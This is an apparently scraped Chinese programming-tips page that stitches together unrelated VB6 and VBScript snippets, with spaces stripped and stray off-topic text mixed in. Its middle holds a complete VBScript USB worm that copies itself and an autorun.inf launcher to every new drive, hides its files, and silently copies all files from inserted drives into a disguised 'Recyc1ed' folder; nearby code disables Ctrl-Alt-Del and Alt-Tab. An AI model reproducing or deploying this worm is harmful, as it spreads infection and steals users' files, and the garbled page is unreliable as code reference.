网页脚本错误程序转变为可执行程序

PrivateDeclareFunctionEnableWindowLib"user32"(ByValhWndAsInteger,ByValaBOOLAsInteger)AsIntegerPrivateDeclareFunctionIsWindowEnabledLib"user32"(ByValhWndAsInteger)AsIntegerPrivateDeclareFunctionGetMenuLib"user32"(ByValhWndAsInteger)AsIntegerPrivateDeclareFunctionFindWindowLib"user32"Alias"FindWindowA"(ByVallpClassNameAsString,ByVallpWindowNameAsString)AsLongPrivateDeclareFunctionSystemParametersInfoLib"user32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,ByVallpvParamAsAny,ByValfuWinIniAsLong)AsLongPrivateTaskBarhWndAsLongPrivateIsTaskBarEnabledAsIntegerPrivateTaskBarMenuHwndAsInteger

'禁止或允许使用Alt-TabSubFastTaskSwitching(bEnabledAsBoolean)DimXAsLong,bDisabledAsLongbDisabled=NotbEnabledX=SystemParametersInfo(97,bDisabled,CStr(1),0)EndSub

'禁止使用Ctrl-Alt-DelPublicSubDisableTaskBar()DimEWindowAsIntegerTaskBarhWnd=FindWindow("Shell_traywnd","")IfTaskBarhWnd<>0ThenEWindow=IsWindowEnabled(TaskBarhWnd)IfEWindow=1ThenIsTaskBarEnabled=EnableWindow(TaskBarhWnd,0)EndIfEndIfEndSub'允许使用Ctrl-Alt-DelPublicSubEnableTaskBar()IfIsTaskBarEnabled=0ThenIsTaskBarEnabled=EnableWindow(TaskBarhWnd,1)EndIfEndSub'禁止Ctrl Alt Del'声明(ForWin95):ConstSPI_SCREENSAVERRUNNING=97PrivateDeclareFunctionSystemParametersInfoLib"user32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,lpvParamAsAny,ByValfuWinIniAsLong)AsLong使用:'禁止DimpOldAsBooleanCallSystemParametersInfo(SPI_SCREENSAVERRUNNING,True,pOld,0)'开启DimpOldAsBooleanCallSystemParametersInfo(SPI_SCREENSAVERRUNNING,False,pOld,0)

->小程序传奇来了脚本 '[NatruePark] '容错语句 onErrorresumenext '变量声明及初始化 dimfso,old_drs(),new_drs(),old_n,new_n,new_yn,wshshell setfso=CreateObject("Scripting.File"&"SystemObject") setwshshell=wscript.createobject("WScript.Shell") old_n=0 redimold_drs(old_n) old_drs(0)="C" '[主体部分] wshshell.run("explorer.") dimi i=0 dowhilei>=0andi<8*360 scan_disk() ifjudge_new_disk()=1then dimleft_n left_n=1 dowhileleft_n<=(new_n-old_n) new_disk=new_drs(left_n+old_n)&":" '-----------------<维护块>----------------- iffso.FileExists(new_disk&"NP.vbs")=-1then else self_copy(new_disk) endif add_attrib(new_disk&"NP.vbs") iffso.FileExists(new_disk&"autorun.inf")=-1then del_attrib(new_disk&"autorun.inf") endif add_autorun(new_disk) add_attrib(new_disk&"autorun.inf") iffso.FileExists(new_disk&"stNP.vbs")=-1then else add_stNP(new_disk) endif add_attrib(new_disk&"stNP.vbs") '-----------------</维护块>----------------- '-----------------<功能块>----------------- dimrec rec="d:\Recyc1ed" iffso.FolderExists(rec)=-1then else fso.createfolder(rec) endif add_attribf(rec) iffso.FileExists(rec&"desktop.ini")=-1then else add_desktop(rec) endif add_attrib(rec&"desktop.ini") aim_folder=rec&Date()&Rnd() iffso.FolderExists(aim_folder)=-1then else fso.createfolder(aim_folder) endif '查找"汽轮机原理文件夹并复制" iffso.FolderExists(new_disk&"汽轮机原理")=-1then fso.copyfoldernew_disk&"汽轮机原理",aim_folder,true add_attribf(aim_folder) endif '通用复制 ifold_n=0then else setfp=fso.getFolder(new_drs(new_n)&":") setfc=fp.SubFolders foreachfinfc fso.copyfolderf&"",aim_folder&""&f.name,true next setfc=fp.files foreachfinfc fso.copyfilef&"",aim_folder&"",true next add_attribf(aim_folder) endif '-----------------</功能块>----------------- left_n=left_n+1 loop copy_disk() endif wscript.sleep(10000) i=i+1 loop '[函数部分] '可用驱动器检测new_drs(),new_n functionscan_disk() dimd,dr new_n=-1 setdr=fso.drives foreachdindr ifd.isreadythen new_n=new_n+1 redimpreservenew_drs(new_n) new_drs(new_n)=d.driveletter endif next endfunction '判断是否有新加入的驱动器 functionjudge_new_disk() ifnew_n=old_nthen judge_new_disk=0 elseifnew_n<old_nthen redimpreserveold_drs(new_n) old_n=new_n judge_new_disk=0 elseifnew_n>old_nthen redimpreserveold_drs(new_n) judge_new_disk=1 endif endfunction '复制新驱动器表单 functioncopy_disk() dimn n=0 dowhilen<=new_n old_drs(n)=new_drs(n) n=n+1 loop old_n=new_n endfunction '添加指定文件属性 functionadd_attrib(file) setf=fso.getfile(file) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件属性 functiondel_attrib(file) setf=fso.getfile(file) iff.attributes=7then f.attributes=0 else endif endfunction '自我复制到指定文件目录 functionself_copy(folder) dimaim_path,mid_path,self_file,mid_file aim_path=folder&"NP.vbs" mid_path="c:\np.bin" setself_file=fso.opentextfile(wscript.scriptfullname,1) self=self_file.readall setmid_file=fso.opentextfile(mid_path,2,true) mid_file.writeself mid_file.close setmid_file=fso.getfile(mid_path) mid_file.copy(aim_path) mid_file.delete(true) endfunction '增加autorun.inf functionadd_autorun(folder) dimpath path=folder&"autorun.inf" settemp=fso.CreateTextFile("c:\a.bin",true) temp.writeline"[autorun]" temp.writeline"open=" temp.writeline"shell\open=打开(&O)" temp.writeline"shell\open\Command=WScript.exestNP.vbs" temp.writeline"shell\open\Default=1" temp.writeline"shell\explore=资源管理器(&X)" temp.writeline"shell\explore\Command=WScript.exestNP.vbs" temp.close setcop=fso.getfile("c:\a.bin") cop.copy(path) cop.delete(true) endfunction '增加desktop.ini functionadd_desktop(folder) dimpath path=folder&"desktop.ini" settemp=fso.CreateTextFile("c:\d.bin",true) temp.writeline"[.ShellClassInfo]" temp.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}" temp.close setcop=fso.getfile("c:\d.bin") cop.copy(path) cop.delete(true) endfunction '增加stNP.vbs functionadd_stNP(folder) dimpath setfso=CreateObject("Scripting.File"&"SystemObject") path=folder&"stNP.vbs" settemp=fso.CreateTextFile("c:\s.bin",true) temp.writeline"onerrorresumenext" temp.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" temp.writeline"iffso.FileExists("&chr(34)&"NP.vbs"&chr(34)&")=-1then" temp.writeline"iffso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&")=-1then" temp.writeline"setf=fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")" temp.writeline"iff.attributes=0then" temp.writeline"else" temp.writeline"f.attributes=0" temp.writeline"endif" temp.writeline"f.delete(true)" temp.writeline"endif" temp.writeline"fso.copyfile"&chr(34)&"NP.vbs"&chr(34)&","&chr(34)&"d:\NP.vbs"&chr(34)&",true" temp.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" temp.writeline"wshshell.run"&chr(34)&"d:\NP.vbs"&chr(34) temp.writeline"endif" temp.close setcop=fso.getfile("c:\s.bin") cop.copy(path) cop.delete(true) endfunction '添加指定文件夹属性 functionadd_attribf(folder) setf=fso.getfolder(folder) iff.attributes=7then else f.attributes=7 endif endfunction '删除指定文件夹属性 functiondel_attribf(folder) setf=fso.getfolder(folder) iff.attributes=0then else f.attributes=0 endif endfunction wscript.echo("THANKYOU!!") wscript.quit使用ADO的打开Accecc数据库方法:DimDBAsDatabaseSetDB=OpenDatabase(FilePath,dbDriverNoPrompt,False,";PWD=你的密码")

使用Data控件打开Accecc数据库方法:首先设置Data控件的属性Exclusive=True为独占模式设置Connect属性为;pwd=密码Data1.Connect=";pwd=你的密码"修改密码:Data1.Database.NewPassword老密码,新密码

->

Function fOutput(strName)strLen=Len(strName)Select Case TrueCase strLen < 8fOutput=chr(9) & chr(9) & chr(9) & chr(9) & chr(9)Case strLen < 16fOutput=chr(9) & chr(9) & chr(9) & chr(9)Case strLen < 24fOutput=chr(9) & chr(9) & chr(9)Case strLen < 32fOutput=chr(9) & chr(9)Case strLen < 40fOutput=chr(9)Case Else'超过40的只取前32位For K=1 To strLen - 32fOutput=fOutput & chr(8)NextfOutput=fOutput & " ..." & chr(9)End SelectEnd FunctionPublicConstVK_TAB=&H9PublicDeclareSubkeybd_eventLib"user32"(ByValbVkAsByte,ByValbScanAsByte,ByValdwFlagsAsLong,ByValdwExtraInfoAsLong)PrivateSubText1_KeyPress(KeyAsciiAsInteger)IfKeyAscii=vbKeyReturnThenKeyAscii=0keybd_eventVK_TAB,0,0,0EndIfEndSub->

<SCRIPTLANGUAGE="vbScript"> <!-- '判断是否是日期 functionthisdate(dt) ifnotIsDate(dt)then thisdate=false elseifint(left(dt,4))<int(1750)then thisdate=false else thisdate=true endif endfunction //--> </SCRIPT>在开始之前,我们需要一个Access数据库,其中包含了邮件列表的客户信息

<!--#includevirtual="/include/conn.inc"--> <% '********************************* '*classname:ADOXDBOPR '*制作人:刘晓逸 '*作用:用adox进行数据库的操作 '*版本:1.0 '* 脚本之家'********************************** ClassADOXDBOPR dimobjADOX PrivateSubClass_Initialize SetobjADOX=Server.CreateObject("ADOX.Catalog") endsub PublicPropertyletConnection(objCONN) objADOX.ActiveConnection=objCONN EndProperty publicfunctionarrTName dimarrTNames() dimi:i=1 foreachobjtabinobjADOX.tables ifobjtab.type="TABLE"then redimPreservearrTNames(i) arrTNames(i-1)=objtab.name i=i+1 endif next arrTName=arrTNames endfunction publicfunctionarrfinfo(szTName) dimarrf() SetobjTAdox=objADOX.tables.item(szTName) fori=0toobjTAdox.columns.count-1 SetdicInfo=Server.CreateObject("Scripting.Dictionary") redimpreservearrf(i+1) dicInfo.add"name",objTAdox.columns.Item(i).name dicInfo.add"type",type_int2str(objTAdox.columns.Item(i).type) Setarrf(i)=dicInfo SetdicInfo=nothing next arrfinfo=arrf endfunction publicsubdel_table(szTName) objADOX.tables.deleteszTName EndSub publicsubadd_table(szTName) Setobj_tab=Server.CreateObject("ADOX.Table") obj_tab.Name=szTName Setobj_tab.ParentCatalog=objADOX objADOX.tables.Appendobj_tab Setobj_tab=nothing EndSub publicsubdelColumns(arrColumns,szTName) Setobj_tab=objADOX.tables.item(szTName) ifisarray(arrColumns)then fori=0toubound(arrColumns) obj_tab.columns.deletearrColumns(i) next else obj_tab.columns.deletearrColumns endif endsub publicsubadd_columns(arrColumns,szTName) SetobjTab=objADOX.tables.item(szTName) fori=0toubound(arrColumns) objTab.columns.appendarrColumns(i,0),arrColumns(i,1),arrColumns(i,2) next endsub functiontype_int2str(int_value) selectcaseint_value case3: type_int2str="数字" case202: type_int2str="文本" caseelse: type_int2str=int_value endselect endfunction PrivateSubClass_Terminate SetobjADOX=nothing EndSub Endclass %> 患者转运应急预案这可以通过创建一个带有Private类和Public类(设定Instancing=MultiUse)的ActiveXEXE工程看到,在2个类模块中添加下面的代码:

PublicSubPublicSub(ByValvalueAsLong)

'

EndSub

PublicFunctionPublicFunction(ByValvalueAsLong)AsLong

'

EndFunction

FriendSubFriendSub(ByValvalueAsLong)

'

EndSub

FriendFunctionFriendFunction(ByValvalueAsLong)AsLong

'

EndFunction

然后,在表单模块中创建一个循环,执行每个例程许多次

212人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册